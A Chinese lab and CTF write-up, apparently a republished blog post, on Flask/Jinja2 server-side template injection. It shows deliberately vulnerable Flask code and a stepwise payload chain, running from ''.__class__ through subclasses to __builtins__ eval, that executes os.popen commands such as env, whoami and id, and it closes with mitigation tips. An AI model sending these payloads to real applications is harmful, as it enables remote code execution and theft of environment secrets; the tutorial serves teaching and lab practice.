SSTI模板注入漏洞(vulhub 复现)

news2025/1/17 3:56:17

首先了解模板引擎:

       模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过

        简而言之我的理解是模板引擎的关键就是只需要用户提供数据给模板便可以生成前端html页面,模板引擎有一定的防范机制,但是可以利用一定技术去绕过破解

SSTI模板注入

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎

MVC模式是什么

Model1模式:使用纯JSP或者JSP+JavaBean开发,存在如下缺陷JSP页面中混合了HTML和JAVA代码,从而给代码的开发和阅读带 来了麻烦;系统后期维护和扩展非常困难例如在JSP页面进行数据库连接和操作,如果需要对数据库进行任何修改,都必须打开所有操作数据库的JSP页面进 行相应的修改,当页面非常多的时候,工作量相当大;系统不容易调试,由于HTML、JAVA、JavaScript都混合在一起,必须要启动服务器并调用 JSP页面才能查看运行效果。故此模式适合小规模的WEB应用开发。
     JSP+JavaBean开发,虽然实现了逻辑功能和显示功能的分离,但是由于视图层和控制层都是由JSP页面实现的,即视图层和控制层没有实现分离,所以它任然属于Model1模式。

Model2模式——MVC开发模式
   它是为了克服Model1存在的不足而设计的,MVC的具体含义是:model+view+control,即模型+视图+控制,这样的模式集成了JSP、Serclet、JavaBean,非常适合大型项目的开发。

View视图层
  代表和用户交互的界面,可以通过html、xml、applet小java程序等实现,它仅仅负责数据的采集和处理(显示)。在JSP中它由JSP页面单独实现。

Model模型层
   它常常使用JavaBean来编写,它接受视图层请求的数据,然后进行相应的业务处理并返回最终的处理结果,它负担的责任最为核心,并利用JavaBean具有的特性实现了代码的重用和扩展以及给维护带来了方便。

Control控制层
  控制层是从用户端接收请求,然后将请求传递给模型层并告诉模型层应该调用什么功能模块来处理该请求,它将协调视图层和模型层之间的工作,起到中间枢纽的作用,它一般交由Serclet来实现。

MVC开发模式与Model1模式比较,显示出如下特点:
(1)各层各负其责,互不干涉。各自更新之后对其它层没有任何干扰;
(2)MVC开发模式有利于责任分工,让专门人员分别从事专门层的设计,提高工作效率和质量;
(3)组件可以得到很好的重用,由于分工明确,各层的组件可以独立成一个可以重用的组件。
   但是MVC开发模式相对Model1来说比较复杂,所以它比较适合开发大中型项目应用,而Model1模式适合小规模的WEB应用开发。

为什么模板引擎是危险的?

SST 表面上看起来并没有什么危害,但是如果你仔细研究的话,会发现它能在模板中执行本机函数,这就意味着如果攻击者能够向模板文件中写入这种表达式,他们就能够执行任意函数。

那 require() 和 eval() 函数来说,require() 函数会包含一个文件并执行,eval() 函数不是执行文件,而是将字符串当成代码来执行。

将未经处理的输入传递给 eval() 函数是极其危险的,你们的编程老师应该都跟你们反复提到过。但是当涉及到处理模板引擎时,很多人就忽略了这一点。所以,有时候你看到的代码会是下面这样的:

漏洞成因在于

render_template函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。

利用步骤:

获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块

常用函数

__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
 

vulhub SSTI 复现

漏洞源码:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

tips:补充知识(这点知识卡了我好久!!!)

__class__获取调用类型,这个是两个下划线_ _只是打出来连在一起了

示例:

1.先输入python
2.输入''.__class__(__是两个下划线)

所以我们的ssti注入就可以开始了!

1.打开vulhub 的flask的ssti

这步骤我就不写了,大家百度一下吧,基本上第一个教程配置docker-vulhub打开的就是ssti

打开之后是这样,然后分析刚才的代码里面有个name参数可控
并且他是有template模板渲染的,尝试注入

2.初步验证SSTI注入

 

5*5被执行了,所以这里存在SSTI注入

3.开始注入

这里我带大家初步过一下
tips:注入出来东西是看不到的,需要查看页面源代码ctrl+u

1.先获取类

payload:

{{''.__class__}}

先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object。

2.获取基类

payload:

{{''.__class__.__bases__}}

3.获取基类的所有子类

payload:

{{''.__class__.__base__.__subclasses__()}}

4.找所有存在eval的类

{{''.__class__.__base__.__subclasses__()[166]}}

这里官方给了一个方向是catch_warnings

然后我大概搞了一下,这个类在第167个,但是下标从0开始就是166个

5.选中这个类

先声明一下下面的网址有时候有点变化的原因是我也在搞buuctf的这个ssti,跟我靶机有点没分开就是我人晕了,但是没有影响,重要的是对name参数的注入

格式都是?name+payload

payload:

{{%27%27.__class__.__base__.__subclasses__()[166]}}

6.在这个类中找他的初始化函数里面的所有全局变量

然后看看这里面有没有危险函数eval

payload:

{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__}}

存在eval


然后我们怎么选择eval函数呢???
{}这种大括号


别问我为什么没有右括号,我视力不好没看到在哪,反正他被'__builtins__'这一个键里面的{}号包围了
所以怎么选择呢?那就是
['__builtins__']['eval']

找到危险函数那就是最后的代码执行阶段了

原本代码执行这么写eval('__import__("os").popen("env").read()')

那已经选中了eval是不是右边加上('__import__("os").popen("env").read()')这一部分就好了!!!

7.代码执行

payload:

?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}}

因为是buuctf的题所以我直接干出flag了,flag在环境变量里,所以意思就是我们只要代码执行env获取环境变量就好了

你自己玩的时候可以试下whoami,也是可以的

替你们演示一下whoami吧


还有文件读取ls -al

tips:怎么判断你有没有成功执行呢,如果不成功是会返回500哪个一看就是错误的页面的,如果只有一个hello那也是执行成功了,你可以查看源代码里面看看东西

这里我会对着官方payload给你们分析一下,了解步骤:

补充知识:

  • 语句{%...%}

  • 变量{{...}}

  • 注释{#...#}

官方payload:
 

{% for c in [].__class__.__base__.__subclasses__() %} 遍历所有的子类
{% if c.__name__ == 'catch_warnings' %}               找出子类中名为catch_warinings的类
  {% for b in c.__init__.__globals__.values() %}      在这个类的初始化函数(__init__)中包含的全 
                                                      局变量里进行遍历
  {% if b.__class__ == {}.__class__ %}                假如某个全局变量的类型是字典 (dict) 类型
    {% if 'eval' in b.keys() %}                       检查这个字典是否有 'eval' 这个键。
      {{ b['eval']('__import__("os").popen("id").read()') }}  调用eval函数执行命令
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

目的:找到eval函数
步骤:在所有子类中找到一个可能含有eval的类,然后遍历这个类中的所有的全局变量,看里面是否有eva

然后就通关了,也可以像payload一样执行id


这就是模板注入

SSTI缓解手段:

避免引入SSTI漏洞的最简单方法之一是始终使用“无逻辑”模板引擎,如Mustache,除非绝对必要。尽可能将逻辑层与渲染层分离,可以大大减少面临最危险的基于模板的攻击的风险。另一种措施是仅在沙盒环境中执行用户的代码,在该环境中,潜在危险的模块和功能已被完全删除。但是沙箱也会存在被绕过的风险。最后,另一种补充方法是通过在封闭的Docker容器中部署模板环境来部署沙箱。

也可以先将模板渲染再拼接字符串


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1455806.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OpenAI:Sora视频生成模型技术报告(中文)

概述 视频生成模型作为世界模拟器 我们探索视频数据生成模型的大规模训练。具体来说,我们在可变持续时间、分辨率和宽高比的视频和图像上联合训练文本条件扩散模型。我们利用transformer架构,在视频和图像潜在代码的时空补丁上运行。我们最大的模型Sor…

HCIA-HarmonyOS设备开发认证V2.0-IOT硬件子系统-UART

目录 一、UART 概述二、UART 模块相关API三、UART 接口调用实例四、UART HDF驱动开发4.1、开发步骤(待续...) 坚持就有收获 一、UART 概述 UART 是通用异步收发传输器(Universal Asynchronous Receiver/Transmitter)的缩写,是通用串行数据总…

Chrome浏览器安装Axure-Chrome-Extension插件

Chrome浏览器打开Axure生成的HTML静态文件页面时,会显示如下图AXURE RP EXTENSION FOR CHROME,这是因为Chrome浏览器没有安装Axure插件Axure-Chrome-Extension导致的。 解决方法: 插件下载地址:https://download.csdn.net/downlo…

CleanMyMacX需要付费吗?多少钱?有哪些新功能

CleanMyMac X是一个付费应用程序**,需要许可证或订阅来解锁所有功能。不过,CleanMyMac X提供免费试用版供您访问其有限的功能。在试用模式下,用户可以使用部分功能进行体验,但这并非完全免费,因为某些功能会受到限制。…

Android下SF合成流程重学习之GPU合成

Android下SF合成流程重学习之GPU合成 引言 SurfaceFlinger中的图层选择GPU合成(CLIENT合成方式)时,会把待合成的图层Layers通过renderengine(SkiaGLRenderEngine)绘制到一块GraphicBuffer中,然后把这块GraphicBuffer图形缓存通过调用setClientTarget传递…

代码随想录算法训练营 DAY20 | 二叉树(7)

一、LeetCode 530 二叉搜索树的最小绝对值 题目链接:530.二叉搜索树的最小绝对值https://leetcode.cn/problems/minimum-absolute-difference-in-bst/ 思路一:利用搜索二叉树的中序遍历结果为有序数组的性质,将遍历结果保存到数组中&#xf…

分析:香港2亿港元诈骗案的风险特征及技术检测思路

目录 深度伪造带来的新挑战 如何有效检测深度伪造? 多管齐下的安全策略 据香港公共广播公司报道,一家跨国公司香港分行的一名员工在一次电话会议后被骗支付了2亿港元(超过2500万美元)的资金。 据介绍,这起骗局始于202…

【深度优先搜索】【树】【有向图】【推荐】685. 冗余连接 II

LeetCode685. 冗余连接 II 在本问题中,有根树指满足以下条件的 有向 图。该树只有一个根节点,所有其他节点都是该根节点的后继。该树除了根节点之外的每一个节点都有且只有一个父节点,而根节点没有父节点。 输入一个有向图,该图由…

Python学习(16)|列表_遍历_排序_max_min_sum

列表的遍历: a [10,20,30,40] for obj in a: #obj 是临时变量名称,随意起名print(obj) 执行结果: 复制列表所有的元素到新列表对象: list1 [30,40,50] list2 list1 #只是将list2也指向了列表对象。也就是说list…

基于Python3的数据结构与算法 - 01 复杂度和列表查找

一、时间复杂度 定义:用来评估算法运行效率的一个式子。 例如:此处的O(1) 详单与一个时间单位 接下来我们看下面两个式子: 如果按照上面的定义,那么打印三次相当O(3),下面的循环相当于O(n21) 但是实际不是这样的 因…

YOLO v5项目实战 P5 解决运行detect文件时设置了--view-img但是显示不出来的问题

up主讲的实时显示目标检测后的图片的两种方法: (1)在下面的Terminal中输入下列命令: python detect.py --view-img (2)点击进入右上方的detect的Edit Configurations 然后在这个参数这里输入 --view img…

Pulsar-架构与设计

Pulsar架构与设计 一、背景和起源二、框架概述1.设计特点2.框架适用场景 三、架构图1.Broker2.持久化存储(Persistent storage)3.Pulsar元数据(Metadata store) 四、功能特性1.消息顺序性2.消息回溯3.消息去重4.消息重投递5.消息重…

一键安装ROS适用于Ubuntu22/20/18

一键安装ROS适用于Ubuntu22/20/18 1、简介 ROS(Robot Operating System,机器人操作系统)是一个用于机器人软件开发的框架。它提供了一套工具和库,用于机器人应用程序的开发、测试和部署。ROS是由美国斯坦福大学机器人实验室&…

银河麒麟操作系统自动同步时间更新

1、银河麒麟操作系统基于Centos8的,因centos8取消了ntp服务器,所以导致之前使用ntpdate命令无法同步时间 2、centos默认使用chrony模块来进行同步时间 3、修改chrony配置同步时间服务器 vim /etc/chrony.conf 4、目前使用的是阿里云的时间服务器&…

2024年初中生古诗文大会安排预测和备考建议、资料

今天(2024年2月19日)是上海市中小学正式开学的日子,神兽归位,各位家长可以松口气了,为孩子规划今年的竞赛、学科活动了。根据一些家长朋友的咨询,今天六分成长介绍2024年中学生古诗文大会(初中组…

图数据库 之 Neo4j - Cypher语法基础(5)

节点(Nodes) Cypher使用()来表示一个节点。 () # 最简单的节点形式,表示一个任意无特征的节点,其实就是一个空节点(movie) # 如果想指向一个节点在其他地方,我们可以给节点添加一个变量名(如movie),表示一个变量名为 movie的节点…

SQL Developer 小贴士:Unshared Worksheet

在Oracle SQL Developer中,最常用的功能应该是SQL Worksheet,或Worksheet。 可以创建两类Worksheet,即Worksheet和Unshared Worksheets。前者是共享数据库连接的,后者会单独创建自己的连接。前者的快捷键是AltF10;后者…

SSM项目启动错误[main] ERROR org.springframework.boot.SpringApplication

[main] ERROR org.springframework.boot.SpringApplication - Application run failed org.yaml.snakeyaml.error.YAMLException: java.nio.charset.MalformedInputException: Input length 1 这个错误是由于Spring Boot应用程序在解析YAML文件时遇到了字符编码问题。java.ni…

国产降压芯片 小封装 外围简单 支持36V 48V 60V 85V 100V电压-H6225L

国产降压芯片,也就是由中国企业设计和生产的用于电压转换的集成电路芯片,随着国内半导体产业的快速发展,这些芯片已经开始在一些领域显示出其优势。主要优势涵盖以下几个方面: 成本优势:国产降压芯片因为本土化生产&a…

NLP_GPT生成式自回归模型

文章目录 介绍完整代码小结 介绍 自回归(Autoregressive)是自然语言处理模型的一种训练方法,其核心思想是基于已有的序列(词或字符)来预测下一个元素。在GPT中,这意味着模型会根据给定的上文来生成下一个词,如图所示。 在GPT模型的训练和推…